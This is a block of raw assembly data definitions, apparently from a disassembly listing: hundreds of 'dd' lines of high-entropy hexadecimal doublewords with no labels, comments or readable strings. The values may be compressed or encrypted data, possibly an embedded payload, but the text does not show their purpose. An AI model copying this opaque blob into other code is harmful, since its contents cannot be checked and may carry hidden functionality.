		dd 609663CEh, 81E81C8h,	3B0C7FEAh, 489B20A0h, 2E0A195Eh
		dd 98C0D9Ah, 34820E67h,	40400FEEh, 68CAA591h, 3B07D0BEh
		dd 3AF1F060h, 0BAD0C809h, 83C20534h, 815F715Bh,	41C1B7BCh
		dd 20F23598h, 0A86F9B40h, 18344CF8h, 0A1A9C0EAh, 5FED6042h
		dd 67F160C0h, 635BD51Ah, 0CE4D3813h, 0BCFB1012h, 8305CC49h
		dd 521B1Ch, 487FAD10h, 77E4CD60h, 0FC910898h, 2D9FB140h
		dd 0E8964DB6h, 4C2B24h,	78A9AD7Bh, 0AA5036AEh, 48482984h
		dd 744E24D4h, 9CE2D106h, 0A655AB0h, 92F4B568h, 6E64042Dh
		dd 882E0244h, 54704098h, 48449037h, 0F108340Dh,	0B200C757h
		dd 74ED62D9h, 0E408DDD4h, 24DB1E58h, 0E04D1D3Ch, 142C6E24h
		dd 9806D593h, 0D448FA91h, 0B1142880h, 0F10A9884h, 1294D4FCh
		dd 6E344C5Ch, 0DD78D138h, 185A08CDh, 1086BAE1h,	8B50D71h
		dd 209E2F32h, 1BEC4035h, 0E93C9051h, 588A4F2h, 5A9B3881h
		dd 40FB3420h, 0EB265B87h, 880EACD5h, 663BA519h,	7C92F046h
		dd 90AD5140h, 10BE60D1h, 3D28632Ch, 3008CDB7h, 71A7AE34h
		dd 0BAF693Ah, 85708291h, 3091F7F4h, 688C7B98h, 12600A04h
		dd 77E8C167h, 4B14004Bh, 0B16D6047h, 754E40D4h,	958CD54h
		dd 97F8089Ch, 2B610FAh,	0DBB5899Bh, 0E41CB06Eh,	2B392C81h
		dd 0BD988988h, 0A0D8C81h, 3FC03076h, 0D2C0DA67h, 0DCCBD5F4h
		dd 9CB97702h, 0B801F9F0h, 504A5512h, 3A18963Dh,	7F586904h
		dd 814199C9h, 4FB2CDC8h, 50C0CEE4h, 0C23F9C8Dh,	85D0FB08h
		dd 0BCD26204h, 44762465h, 0BE097A1Eh, 44455CA4h, 0F8826D52h
		dd 4CBC693Ch, 1D1602D2h, 30422041h, 74D7164h, 26021A80h
		dd 0CF48AA18h, 0EA355131h, 651AE430h, 4DC80CDh,	91C951C8h
		dd 98BB1E80h, 0B1080948h, 0E834902Ah, 40949A8Ah, 326E9152h
		dd 0A1438018h, 0B20E8D62h, 0C9B37ED0h, 84A48EA0h, 5B8CC1F0h
		dd 8460CE55h, 58C92F54h, 0B280A201h, 667C6064h,	6161818Eh
		dd 86CFD938h, 0F1024E08h, 0C0416360h, 808DA32Dh, 60589BD2h
		dd 9D1E0D1Eh, 0D4B62E0Ah, 0A01E922Ch, 10796E0Ch, 3987242Dh
		dd 8461844h, 58B03CFBh,	40C3E6F1h, 0A46A56C2h, 2FC26C4Bh
		dd 0EAF1A469h, 9E8BA07h, 0AC0061A1h, 0BB816F88h, 17282D4Ch
		dd 7C4692DBh, 24D0FFB8h, 1BA06F17h, 0FC915833h,	0A3309246h
		dd 0A71B8C02h, 0B18040BCh, 0A584A1CAh, 0D0E1A021h, 7D711087h
		dd 0F85181B0h, 0A2B1F859h, 117B3CB8h, 4D083B62h, 3F0D035Ah
		dd 30FC91E1h, 36716D8Ch, 1628F098h, 2039BCCFh, 381A8EB1h
		dd 0DA9AE0AEh, 19BBEFC4h, 0D8EC7725h, 7C1BE0C6h, 3096700h
		dd 0E9089E6h, 18BD64BBh, 8E4CB068h, 0BA4B9E77h,	0F213B473h
		dd 5C8044FFh, 80A0EC78h, 0E00225AEh, 182DD87Ah,	3B8040D2h
		dd 0DCF85C16h, 48582210h, 0DD0EA0E8h, 7CF44CBFh, 2E382D0Ah
		dd 27DB00D8h, 797A4DC5h, 3411F8C5h, 988A8C95h, 0C47BF904h
		dd 0D83CE0D4h, 7ACC6448h, 91A48B50h, 8C85C728h,	13DAC840h
		dd 8AA6045Dh, 0F30D0010h, 0C5AABFA2h, 29F92CD9h, 97B0C00h
		dd 0CF0ABB50h, 1CD1A54Ch, 70F15FC0h, 1740994Eh,	9CF8527Fh
		dd 0B70811A0h, 0B12B1E0h, 0A4A4E2B8h, 14C4858Dh, 1117ECCCh
		dd 0BD9C4448h, 83C08025h, 0AE02AA33h, 4D60547Dh, 2D844089h
		dd 183466C3h, 2E202003h, 93AD3044h, 3AD26E10h, 899818C6h
		dd 1D7638C0h, 66B093h, 19911DCh, 7D248EDBh, 4616AC71h
		dd 0EE8DDC00h, 0DD1FA1E2h, 175F0352h, 0A6F363EDh, 0FB7FAEA0h
		dd 0A708F260h, 20F76h, 221978ADh, 23F74BF3h, 0EB6F3401h
		dd 626384CAh, 14525C4h,	98DC6830h, 0DF2265h, 0F84090E2h
		dd 0D84C0588h, 3010684Fh, 0A26B4228h, 61F53Ah, 0B78EEAEBh
		dd 19AE840h, 0ABE263E7h, 40FF53C8h, 8F562A18h, 71CF9F00h
		dd 49F08AEBh, 0A6E8294Eh, 0A5F4802Ch, 70C13BE9h, 95AAEB00h
		dd 0F7DF68CDh, 0C84E0C5Bh, 0D3F0EEF1h, 0D156BF7Ah, 67CD2E34h
		dd 40B1B138h, 908AC74Ah, 0ACBA682h, 6018D248h, 0BB7DE249h
		dd 6A98CB67h, 9FAEECD0h, 502D522Eh, 0FC203E8Fh,	0EB72310Dh
		dd 30E90A33h, 3F3DA87Fh, 7D48ACDFh, 982C1030h, 842A00B2h
		dd 0D6FFAEEEh, 5F68000Bh, 263E5FDh, 9CA0F456h, 0A138496Fh
		dd 4A3A3Fh, 771CB1DFh, 0A4702C1Fh, 32402644h, 0EA942251h
		dd 501260BBh, 7F3913AFh, 40A5E703h, 0A1AAFB28h,	62C07448h
		dd 1FE3022h, 0A1D09F08h, 0D61E7F10h, 607A4919h,	0DE418082h
		dd 0F8284ED7h, 0F284A0D3h, 0E4F78D5h, 6840A92Bh, 0A882A42Eh
		dd 2441FAA0h, 586198C7h, 0DFD802C8h, 28554010h,	0C870084Eh
		dd 58C650CCh, 401F4888h, 28E3C238h, 491F8B42h, 0A24DF36Fh
		dd 8DD010A3h, 37B0A0E7h, 33509092h, 5D6812D1h, 6F33B078h
		dd 0FED00882h, 0A11F2448h, 0BB580F60h, 8150206h, 9B39A21Fh
		dd 803E7F3Ch, 81299D0Fh, 973AC206h, 20C66118h, 0E099CF82h
		dd 6863F042h, 18987D38h, 101CD218h, 38C677F7h, 6060B852h
		dd 48422049h, 0E832332Eh, 2140958h, 0E00F2608h,	420F790Eh
		dd 0D0E160B6h, 0BF462C02h, 28207163h, 0A8081E7Dh, 0AD30C0DBh
		dd 5AEB760Eh, 2FA93C06h, 3C11E717h, 3700B78Bh, 0ED191B3Fh
		dd 7AF8D246h, 0D8BE3Ah,	200DC91Ah, 0F8B96CFAh, 0BE83EDAh
		dd 1CC40378h, 0D1544D19h, 8444837h, 0AF3DBC0h, 48B661CDh
		dd 8C1E5F1Ah, 58BF3F10h, 8756318h, 20187824h, 0C910C070h
		dd 3F514CFBh, 3E3D1Eh, 57738DE3h, 0EC61EF5Ah, 0FA1E80Ah
		dd 508B1E0h, 45E6654Dh,	0CC140077h, 8A31F229h, 0EFA1DA00h
		dd 0AD08A02Eh, 1C28A6F4h, 1841CB9Eh, 0A8CF28F0h, 6018D521h
		dd 86356F4Bh, 0A1E5F912h, 89F8300h, 0A5B17B2Dh,	0DB2B012Ch
		dd 0E49AD605h, 6E038FA1h, 93FA1303h, 0A0BAA080h, 58E0C0D1h
		dd 0D89AD48Eh, 3DD3E3Ah
		dd 6D55AD9Ch, 7087694h,	0D66EF67h, 2DC74E37h, 24A382E9h
		dd 4A068C94h, 0C6530717h, 2F6F0FA0h, 0DB872EEBh, 4EBA50CDh
		dd 6D280A6Bh, 3A00E0B3h, 972E29E2h, 3167F007h, 6D08DF8Dh
		dd 0F3A45C62h, 1DA470Ch, 334F58C7h, 0D63872ACh,	7E5A580Fh
		dd 2777050Fh, 0B99AF003h, 0E0F7C162h, 0BE0BDA00h, 0E524A402h
		dd 6384A29Bh, 0B01ADADDh, 14EBCE60h, 0EC521C08h, 0F2F42F00h
		dd 0E466D72Eh, 684D0F8Ch, 90B881D8h, 0FA482D0Fh, 99880148h
		dd 6EC1AD0Bh, 61803020h, 5AE9E80Eh, 227092EBh, 4C286800h
		dd 5C6CB72Fh, 0DC42CD7Ch, 20A79B80h, 0F00609DAh, 612BEF6Dh
		dd 58C262F0h, 7440C92Dh, 2164A30Dh, 68803D08h, 249430EDh
		dd 50443A12h, 461F9E0Dh, 302441E5h, 0D7505118h,	0C0EC54D3h
		dd 1CE85745h, 95742102h, 88813910h, 446881AFh, 40AF87E8h
		dd 0A1B63B7h, 8C184D0Ah, 0F558A812h, 7B7D0942h,	400FE7E9h
		dd 130699Fh, 5CB0851Fh,	6F988B59h, 2C85F731h, 0DA980ACDh
		dd 0A23650BCh, 76072200h, 424F6DF5h, 0DAE81343h, 0BA040574h
		dd 0D630305Dh, 0D22083F0h, 0D52F2866h, 906D39D0h, 5B264448h
		dd 0E9FA1C28h, 0A25E811Ch, 4010FE0Dh, 93820FC0h, 0DA1A3F12h
		dd 145A3009h, 78C0450h,	80EC13E7h, 658AEFB4h, 59EC0C9h
		dd 0F0289A40h, 82AE1FE0h, 0CF02E07Fh, 0DA3F96B3h, 0CD904089h
		dd 3AD8C3E7h, 8DC1F62Bh, 41845CB6h, 807D0F0Ch, 0D1AFD8B3h
		dd 30C06441h, 865F1FEDh, 676F009Ah, 74248F8h, 0AAF5793Ah
		dd 0CB9DE030h, 6F887EA9h, 0B3E1416h, 38A0C8EDh,	0AB6E4F18h
		dd 4296A2C9h, 0C414B80Ah, 34EB301Eh, 0F1892F51h, 0A4852490h
		dd 78C93D01h, 0BC50BD4Ah, 122F4B7Bh, 9F86C77h, 0F800CDF0h
		dd 0E828657Ah, 0BC82ACA5h, 6846FFDEh, 483FEF90h, 0FE09B486h
		dd 1016E822h, 0F860460Fh, 990D44Fh, 1CB94ACFh, 708F043Ch
		dd 9153D7AEh, 20ECFA84h, 744CFD20h, 50D1E010h, 0B7F11203h
		dd 257C38E6h, 0BD324A0Fh, 9124B083h, 0C2FA0B14h, 8E47426h
		dd 0C6F23A07h, 3F204DC0h, 88640D0Bh, 44906805h,	66C13502h
		dd 80F68FADh, 0A2552CEEh, 81269E4h, 760F2C16h, 0F8549CA0h
		dd 4614FC8h, 5C4DDE40h,	752CC3EFh, 6B286078h, 720B8C7h
		dd 84DA5868h, 0D2F89700h, 0F3E90D0Ah, 0BB301C90h, 56DB1876h
		dd 5CC429A2h, 1AE28F74h, 68040E4h, 3A60442Fh, 0DE24322Dh
		dd 0AFA55814h, 4AC3AD10h, 8CAB0F15h, 38F4B412h,	5F098984h
		dd 26F6C7A4h, 99C0BABCh, 715167C4h, 52F85824h, 0B4A4DCF4h
		dd 6E88FC3h, 0DCD7DAA7h, 0FCAF1359h, 207814DEh,	25DDF6A0h
		dd 588E2124h, 85C58F02h, 826C452Fh, 2C201991h, 46976F23h
		dd 167D68C9h, 41105A2Ah, 97B14F40h, 0E494CA45h,	5556D91Eh
		dd 882F29B1h, 28F74893h, 220A5A00h, 0A8B2B46Dh,	0A416DF92h
		dd 1806682Ch, 0A175C374h, 4AF1F3EFh, 0DE430E78h, 0E6B560C1h
		dd 3010B58h, 5DB3D6A2h,	8A0BCEBh, 931E8A94h, 2B832888h
		dd 0F158EA1Dh, 9F2064DFh, 0C7441406h, 8E0214B6h, 124D1691h
		dd 0C047CB03h, 746F29AAh, 0CA4902EDh, 6AC05A85h, 0DEEBE0F5h
		dd 40451838h, 8D2008F7h, 0E4033CA6h, 568CFFF2h,	38ABC8F7h
		dd 0E9E01123h, 426FCE1Fh, 6E583Bh, 127E048Bh, 52B6F63Ch
		dd 0E2720328h, 1B831h, 71606B28h, 0ED899612h, 2AA3078Ch
		dd 0C05E4C25h, 0C1624B58h, 5016122Bh, 9BB50F02h, 0F12B21CEh
		dd 2F79816Fh, 23782605h, 6E06C4h, 0BE72E265h, 0A33BC9A5h
		dd 663EA200h, 0C6059C94h, 1FE7413h, 0C38A2D86h,	48296339h
		dd 79088420h, 0A31901h,	347A9D1Bh, 0F1021E30h, 0D6FE0A07h
		dd 3718A006h, 0E7AE6B9Eh, 17BCAC0h, 0F9F743EBh,	5D982530h
		dd 0F6BF830h, 0A4B64D03h, 54F5BC9h, 138F5930h, 0C314403Fh
		dd 844AD11Ch, 8DBB58C1h, 0F8F11BA3h, 1824404Ch,	0B11D9D19h
		dd 2C0E859Bh, 94E7639Ah, 0AFA9813Ch, 518371F9h,	0AAA10FFBh
		dd 238FFCAh, 6618000Dh,	0DBC9A2A4h, 0D10A844Eh,	5012B7D9h
		dd 0BDC78840h, 1160609Eh, 2604E8AEh, 8E1B631h, 3CB461Bh
		dd 0A6B34710h, 40683C33h, 0A7631420h, 0E91101EEh, 83245A71h
		dd 146C062h, 0E6D36B00h, 76BA3E2Bh, 539E0026h, 661392B0h
		dd 2F0030A9h, 39900A15h, 8AEDB3h, 0FC20700Ch, 956CF03Dh
		dd 0D21C7670h, 73C0B4D0h, 0C2BF5717h, 8E660F8Fh, 0B2A78609h
		dd 0A88C50F4h, 620090CBh, 88DC4B01h, 3A674A68h,	0A400C5B3h
		dd 0D15CF3D7h, 0DA1E0EE2h, 44403E96h, 0E6CCEB45h, 6C01004Bh
		dd 0E97497ABh, 2C00A65Ch, 8798633Eh, 7EBB4h, 4DF21B29h
		dd 7C3213EFh, 0D0268300h, 0DFC50DABh, 4EDD0938h, 7A00254Ah
		dd 0C33D311h, 3FCF630Fh, 0B2AC0062h, 37C15E4h, 3497BA9Ch
		dd 0A099718Dh, 36AE8BBh, 23F7810Ah, 8A00AA69h, 384CDBDCh
		dd 0A9358EBh, 0CA3AD700h, 8F3DA6FFh, 7090EE00h,	91CF203h
		dd 0A5880057h, 6E22E96h, 0B100DBA6h, 6AF1E57Bh,	14DD36CBh
		dd 0D0B97876h, 4E0E1000h, 173F348h, 55213300h, 66DF27F9h
		dd 1AC71DF6h, 839FFE4Bh, 0A4404009h, 63BFA56Dh,	76293600h
		dd 2460288Bh, 2E0E00E9h, 0B47C096Fh, 0DA392DC3h, 82B78630h
		dd 3F3E541Bh, 81001A58h, 0A52D89Fh, 44EC9540h, 87BD5A00h
		dd 0E13A7542h, 3AA7498h, 64212C81h, 68E91DCAh, 0B067DCE2h
		dd 0F8C21E00h, 80346BF4h, 1B37000Bh, 0ED76DF5Dh, 5500B436h
		dd 5E2796D5h, 2E5C59E1h, 754286Ah, 7034E204h, 5D714ED0h
		dd 43B77600h, 0AF284A23h, 6B09000Ch, 6C7EC526h,	527C382Eh
		dd 61304D01h, 0E49DA44Eh, 8419D080h, 0BB3CD186h, 8BF6B200h
		dd 1262CF03h, 66980029h, 0F98A69C7h, 0AE05E02Fh, 0E7D5FE5h
		dd 2143D000h, 36CC5Dh, 9A96F70Fh, 56E27E2Ah, 0C094DC02h
		dd 75F4859Eh, 76B24E40h, 0AD908900h, 0DFB70CD0h, 96030BB0h
		dd 7E80CA0Ah, 0A298FCB1h, 0EB7DF900h, 8654F00Ch, 0E02875A0h
		dd 4FD7029Ch, 0EAA1F6D0h, 6ACBC840h, 4E18FB07h,	0AB772A96h
		dd 70504CD0h, 7E7A14h, 0B2B9BBE8h, 44DDF5EBh, 6C90D006h
		dd 758E264h, 1C10D695h,	3037079Ah, 0C9CBCFF2h, 4BFEA000h
		dd 3EE3052h, 0B4D100D0h, 0CF711273h, 61132B81h,	0AA9AB3h
		dd 0B7CD444Bh, 8B003AA4h, 990217A2h, 43229Fh, 81AB745Dh
		dd 7F2A422Eh, 0FC3AB371h, 66DE802Fh, 38E1FA8Ch,	26910075h
		dd 0D0EFC54Fh, 0E81F4E53h, 0A7C7684Bh, 762094EAh, 30E32F5Dh
		dd 4E88C089h, 0AE034364h, 1E091A25h, 36DEA1BCh,	0F80F5830h
		dd 2CE607D4h, 0ACC9DCB1h, 0D70305E8h, 0F8E5BB6Ch, 0AAA0066Eh
		dd 649A5DCFh, 297B6A1Dh, 51D9E640h, 33C2BE3h, 6D8514B6h
		dd 0C3984233h, 1E0ECC06h, 0E0471D07h, 0F3EAB1BFh, 0E09000C6h
		dd 0FEA3A0A8h, 400088E6h, 0B1C5A167h, 36126F8h,	20B75B51h
		dd 4DB0D53Eh, 0BE0023FBh, 0CBEC2F6Dh, 3D241275h, 9348E910h
		dd 968A7200h, 1A0EC9EFh, 0F07DF100h, 0AE69BF75h, 0C1A900EAh
		dd 908F4BBh, 88008D2Ch,	0C24766DAh, 38D832E1h, 0E8B1B8D1h
		dd 0ECEA7A18h, 7905C980h, 75AD6DCCh, 59D7B4C1h,	4C67E4h
		dd 0E007D94Eh, 0FD63297Ah, 0FA3E33F8h, 5A25017Eh, 0D9AED153h
		dd 3910C3F0h, 0BC805CCAh, 80AD7481h, 880E0C14h,	73EA5BDh
		dd 30400EA2h, 0FBFD03h,	63AEC8F7h, 9A1BE292h, 8FA07600h
		dd 33566F1Fh, 503100D6h, 4E995189h, 0CF05CA11h,	0C3755F02h
		dd 93ABE402h, 180F5D14h, 0DDC16CEEh, 0E867E6C6h, 901719Eh
		dd 7CD0C7B8h, 7470C891h
		dd 1BDD00ABh, 1E5FA7C1h, 0F71EA9EDh, 75C0AD9Bh,	53BF1314h
		dd 0E7AE2579h, 1C00D2D8h, 43C99640h, 642941h, 574AFF7h
		dd 268EE9A1h, 0D89B8D00h, 576DABEFh, 273A001Bh,	71CB3635h
		dd 321C2C3Eh, 0FA8042A5h, 1252305Fh, 8F5D007Fh,	0ADFEF11Ch
		dd 7301A7C7h, 0D7F6EAD3h, 5EE8CFC2h, 62412707h,	0E8C82643h
		dd 0A2001829h, 2ECEF8BDh, 1ABFEC2h, 5ABC28A7h, 0FA9E5475h
		dd 0D7730D40h, 0FFB4B103h, 0F06117BAh, 0E78D19F3h, 7A2F69C0h
		dd 85E0099h, 0BDE397F4h, 87985A6Eh, 10A18400h, 3B529579h
		dd 0E9850007h, 6B6CFEFAh, 9B007A3Ah, 4F0267BDh,	906DE0F2h
		dd 0ABF00B3h, 732446CFh, 870F1D10h, 201F3668h, 0E9ACDD72h
		dd 4FB007Ch, 0C5B5F1DBh, 8203661Ah, 4230F4A0h, 3EBA808Fh
		dd 88271810h, 0CC671697h, 0B82B7E00h, 0A25803C8h, 8F833EF0h
		dd 4582BE80h, 5B9DE6D9h, 6D952000h, 4DFCA64Ch, 0D3D400B8h
		dd 7ADCA7CFh, 0C1039E35h, 596D0F49h, 0BAD3BFh, 0B971B028h
		dd 5DBD4CFDh, 6310900h,	57144132h, 1778E9h, 63F133BAh
		dd 0BFC69625h, 6D01A270h, 0A17FF893h, 99E45BB2h, 33E0069h
		dd 0DD87BB5Dh, 400DC01h, 0BD46459h, 0C12774h, 8F88410Dh
		dd 52181A22h, 6880BD60h, 28A1BC5Bh, 5044AC0Ah, 60789569h
		dd 4B508835h, 0EEA8B12h, 260F4001h, 0BB62D9E7h,	36FA4080h
		dd 0A11D7AD7h, 3AC8C10Fh, 0E1892F9Eh, 4D06DA03h, 51236885h
		dd 0BC1E79h, 0F93A1DFAh, 0E50110A4h, 0BEE8BA35h, 20DC8BA1h
		dd 0F3DCE3B0h, 0BBF8C3h, 27BFEFC8h, 2D140732h, 0D509CDA0h
		dd 2A003890h, 0BD7EC2EEh, 91188Ch, 16E330C6h, 516FDC39h
		dd 0A95772Eh, 2BB9A430h, 2F40077Bh, 8AE0C5h, 0E4B1A0C6h
		dd 61C4F100h, 3331A182h, 0BAE407h, 453A8A79h, 2D862940h
		dd 0DE5D271Dh, 0E8A8D680h, 390A2F72h, 6380B8A6h, 13A7E683h
		dd 3A074855h, 518C601Ch, 9E3C8D50h, 3F5674C8h, 0F8546869h
		dd 0EE053F6Dh, 0DA973D80h, 914DE273h, 4386C91Ah, 16316076h
		dd 5CAA7C7Bh, 3860DC20h, 0C3C995B3h, 0FC799100h, 0CAC5C0EEh
		dd 9DEC78h, 0E3E53CBDh,	30054944h, 199130C2h, 0C0B88ED3h
		dd 36C8FFF3h, 0DD820014h, 0E0BE2C32h, 0D5288A3Ah, 0A600F8F9h
		dd 0C3383F1Ch, 1C84987Fh, 46B614B9h, 502F87D7h,	3403C00h
		dd 84F339BFh, 77D50005h, 33C5E166h, 5E00DA92h, 38899645h
		dd 18B541C8h, 80E8059Ah, 4607CCA3h, 31222304h, 14778390h
		dd 4E6700F9h, 41C62050h, 0B37B5D1Dh, 6C000A7Ch,	0A7FCA409h
		dd 496636C0h, 2D033458h, 0F32A2C2h, 0D3E1B7C2h,	0E10895C7h
		dd 258D2CACh, 9030E90Ah, 41D25B1Fh, 54BDC440h, 3127F8A2h
		dd 8610FB65h, 35F97096h, 43143103h, 0A163909Bh,	8840FEB2h
		dd 2190F61h, 57B75E55h,	91E0E8AEh, 9CADDA96h, 0EB39DFE0h
		dd 0FBEA0615h, 69B76375h, 102D9298h, 1E35C9Dh, 8A8F2E78h
		dd 0CB55303Eh, 8ECD740Fh, 0AB898275h, 9018433Fh, 0F4A9B7h
		dd 7DAD88B5h, 0E95B0325h, 60015519h, 28F8B3A1h,	0DBCCA0EBh
		dd 0D87FE3h, 0DE2358D1h, 9771AE4Fh, 21843300h, 35BE110Ch
		dd 0BF910073h, 0EB54D130h, 0F2E653B2h, 1800A4E0h, 0BAECA2Fh
		dd 1E8BF23h, 0A713C775h, 0D0A3BD17h, 0B4EE6653h, 0BC03F701h
		dd 9240303Dh, 60580EECh, 0E5BDA672h, 0C100C67Dh, 44CCA846h
		dd 0FBDF02h, 0A48F0C6Eh, 0E2505535h, 4FB0E600h,	1A6C4874h
		dd 0CDF8E9h, 1668B967h,	0EFC78C75h, 0A8BC3600h,	41206C96h
		dd 0CFBD05C8h, 0E00559h, 1C40E1A0h, 0B000B247h,	0EF5F7634h
		dd 0FD0F3Ch, 0B6BD2328h, 0F510773Dh, 86A64F1Dh,	273FE000h
		dd 2CEB8138h, 30FDB41Dh, 72B98F20h, 24EE4103h, 0C846B0BFh
		dd 3C9E0A55h, 0C980D51Ch, 7C8E39E6h, 17032689h,	0F67E204Ch
		dd 12F7B8C0h, 3DAF00C6h, 0C4E0B98Eh, 0F80C6E0Fh, 29602D05h
		dd 0EC70552h, 0BB1FCCh,	754527CAh, 0C5398E13h, 0A4BE803Bh
		dd 0A98450A8h, 5ECD00BBh, 2D4D878Dh, 0C73C2059h, 0C4570062h
		dd 5B1F572h, 0D0E70EAFh, 63A0392Bh, 11D6E647h, 313CE00h
		dd 16FAE810h, 61F4D5h, 0D0150B6Fh, 234F76F0h, 4330C5E2h
		dd 378A1866h, 0FC130090h, 0D127ACF5h, 2500EC88h, 30B87565h
		dd 284EC21Eh, 641374h, 0D1F1EC96h, 0F833B1CFh, 0F963E000h
		dd 5C7D7441h, 1D423EE9h, 70182BA8h, 3EDA0022h, 0C5482998h
		dd 43178E7Dh, 24004B83h, 35E3E76Ch, 1B7ED3h, 0E01221A8h
		dd 0ECA5F743h, 0ABAEFE00h, 9437722Dh, 0BE5F00C9h, 0A6E3F667h
		dd 831F24DCh, 1E80C2D4h, 0CFB8A065h, 96743Ah, 89E395CCh
		dd 0B33D6778h, 57C42001h, 2285CF1Ah, 13BEBD8h, 606FA0B1h
		dd 70719BB5h, 0A800FC4Ch, 1A410C6Ah, 2E9D6DFEh,	3C2715h
		dd 8B7375F5h, 697B8466h, 57B6E00h, 1EE7D2DBh, 0F8F11D61h
		dd 2B070796h, 0BB24109Ch, 9500926Ah, 20B72958h,	0EECE7FBEh
		dd 1730009Eh, 0C1F31DB5h, 0F500F26Ch, 5D55A39Dh, 271B41h
		dd 0AD0D4C18h, 87A7B3AAh, 0F3018500h, 82395F34h, 15090E70h
		dd 16612180h, 43BB69D8h, 9290BFA4h, 2C0081F3h, 0A954B60Dh
		dd 0C40A78Ch, 9E944973h, 19001146h, 0FC3C229Fh,	0AB7E70h
		dd 0C7BA77C2h, 480D549h, 0BD464B00h, 7E5908E9h,	12503B8h
		dd 0C8DF6AC0h, 21A3B2F9h, 0DEF900C7h, 71001511h, 372B6ECCh
		dd 0F025E36h, 6A5CC272h, 7DDA21A0h, 44006688h, 0C1760E7Bh
		dd 6020D2h, 73B6597Ah, 8BB35808h, 0E8855C00h, 0B8EC15DEh
		dd 0FB3C1D35h, 534E8072h, 0B65CBC18h, 363EE601h, 0D0A479A9h
		dd 90A0CCh, 3C131FDh, 0D324AD21h, 0E3C3476h, 0BD8C0392h
		dd 88BF96AFh, 615D2Fh, 0B3C9FA66h, 0F1399D8h, 6A5AA300h
		dd 22DAE167h, 0D44F00D9h, 0DD532CE3h, 290001F4h, 999B7E9h
		dd 9BCF0Ch, 0C44CF1E6h,	0ECCC4A1Bh, 3B11E560h, 733D29E4h
		dd 0C0105F14h, 8739FB66h, 0A349A903h, 0B09153C8h, 0E478EC56h
		dd 43EA00D9h, 0F9F53FC3h, 340061D8h, 0CB91E0D1h, 3D237C7h
		dd 88EDAFDCh, 0D0C0518Eh, 0E709E21Fh, 805BA31Ch, 0B885A0A8h
		dd 804D3A36h, 22AF0B00h, 0ABE8A615h, 0DC481F0Eh, 0C1FDE089h
		dd 8D3C80h, 3145A0Dh, 7FE3545h,	0DAEF5E07h, 0B410D23Bh
		dd 38DD0CD5h, 2180F850h, 91CF83A8h, 5900DE9Ch, 0CC65FCD1h
		dd 0C9744Ch, 8D85C149h,	94BB1C73h, 3E840D0Eh, 0BA6EC03Bh
		dd 0EC95DDh, 0E2A0C350h, 9BEA8553h, 0E45AFC00h,	0CEF41EEEh
		dd 0EBE88Eh, 9597D92Bh,	4A371A7Bh, 489BD507h, 920734A0h
		dd 51E09680h, 8CFC00C3h, 220305D4h, 0D601857Ch,	6077A9B4h
		dd 0EC40946Dh, 3FBC98A0h, 6500A330h, 0E076E640h, 0CB58A9EAh
		dd 0ADE800B6h, 0EC493D35h, 0C9E617h, 0F0887A9Bh, 2D2AF85Bh
		dd 0C7CC378h, 1CF3E200h, 0D556204Ah, 881E00EBh,	292C65C5h
		dd 809BD5Fh, 8096A03Ah,	0DE6A0623h, 0D5690435h,	0C3CEF81Ch
		dd 0A6B89E40h, 0C100C5A8h, 0D68ACDE5h, 7680BFh,	3AE4272h
		dd 4F9C9FFAh, 57787E18h, 0F14D6Eh, 2FF2E65Eh, 0A1B91F3Eh
		dd 0ADBD1409h, 80D48053h, 0D6838Fh, 0BFF5CE2Ah,	81845796h
		dd 7188CB00h, 51EF3DB3h, 92560094h, 34ACEC43h, 2E00F01Ch
		dd 0D690C84Ch, 0F7C98Bh, 115E1895h, 493C4132h, 7AE6D800h
		dd 75D3776h, 0C69100ADh, 0CB553EB9h, 18189983h,	0EA22BB6h
		dd 25770138h, 0AC3EA84Ch, 0FC81F580h, 65000F04h, 7063FB8h
		dd 0F526D6h, 71860E45h,	83759713h, 3C445D58h, 0B72480B2h
		dd 0ACC30969h, 0C8B067A5h
		dd 0FC778036h, 6C1FCF3Bh, 6DC0B870h, 4DAD1373h,	7BF30FD7h
		dd 0E8234A11h, 0FAD0434Eh, 0BF609F82h, 67FCA510h, 81061FFBh
		dd 92D581DDh, 0F4188B89h, 3700930Bh, 0CBC87EACh, 0D5106h
		dd 0A0D46DF2h, 0E68711E0h, 735B4800h, 5D0E1DABh, 0B904000Ch
		dd 293EDF89h, 0B13F6A2Eh, 16540014h, 8FE98B2Ch,	4BA5053Dh
		dd 39B79BFh, 26F0AB95h,	0C4640698h, 8E08700h, 6C8427AAh
		dd 0A3110122h, 0EE13541Ah, 0A00FF0BCh, 0CBFA5E00h, 33C8A758h
		dd 0BFB807C5h, 600C1952h, 707D9721h, 0E467E901h, 43B663D4h
		dd 3040EE70h, 0CEEC2A89h, 2926FE9Bh, 440041EAh,	0BCB8A5DDh
		dd 799303C0h, 78BB4854h, 3857D398h, 6BB0AD00h, 94081625h
		dd 0C9C400CBh, 207143C1h, 15E82492h, 0C3C9A00h,	6D1B0E27h
		dd 0AB4E0046h, 0CD5DA738h, 9F0F88B9h, 414FDAA8h, 561C2F65h
		dd 59F036F1h, 48580739h, 0E240EB2h, 0C0C025E4h,	98907038h
		dd 6D00B077h, 401889F2h, 5BFFCFh, 0B281E917h, 0F69EAB15h
		dd 3CD4DD00h, 4138F267h, 1A9C0310h, 0EF665D1Bh,	8D154CA8h
		dd 0DF5B5801h, 383D72DBh, 3CE0460h, 5DB2A356h, 6D80AD9Ch
		dd 0E300E844h, 19DDF60h, 3704D0Fh, 0F5A42A68h, 0EBC86728h
		dd 0E9F49A8Ch, 0E6D27A0Bh, 202E0E6Bh, 0C9733D7Dh, 7CF63EF2h
		dd 0EA6F900h, 4C055E7Fh, 35475100h, 0CA2C09CFh,	71E477D6h
		dd 0B78D0136h, 55141A32h, 0A2E87049h, 4009B75h,	0D9E79492h
		dd 136AF87Dh, 0FA84E19h, 9080FB9Fh, 1B76ABDAh, 0CB843303h
		dd 0B05C9746h, 0C03065h, 31D81AEEh, 235E7B74h, 801BD93Ah
		dd 2C529463h, 1B3BFD3h,	0FCD8D1EAh, 2013EEFDh, 0EC0058C4h
		dd 0D612D7BBh, 0E7DCAC4h, 0BAEF6940h, 0BD7E5A20h, 703AF6Fh
		dd 34B70FA8h, 0ECB8A817h, 0D8E00FFh, 84A63C7Fh,	0B101443Bh
		dd 0BE299035h, 10F0E9AEh, 0E0E237h, 6C176FF8h, 962FD786h
		dd 89343B1Ch, 1B1EEA40h, 1A3C56Eh, 0D3B0B97Eh, 0C41A7A87h
		dd 6700AB59h, 0CB9F3134h, 169DA8h, 7330D4D2h, 2A2B55D1h
		dd 1E446300h, 0AE7CEF3Ch, 0B35C00FAh, 46CF58E4h, 4E90D55Eh
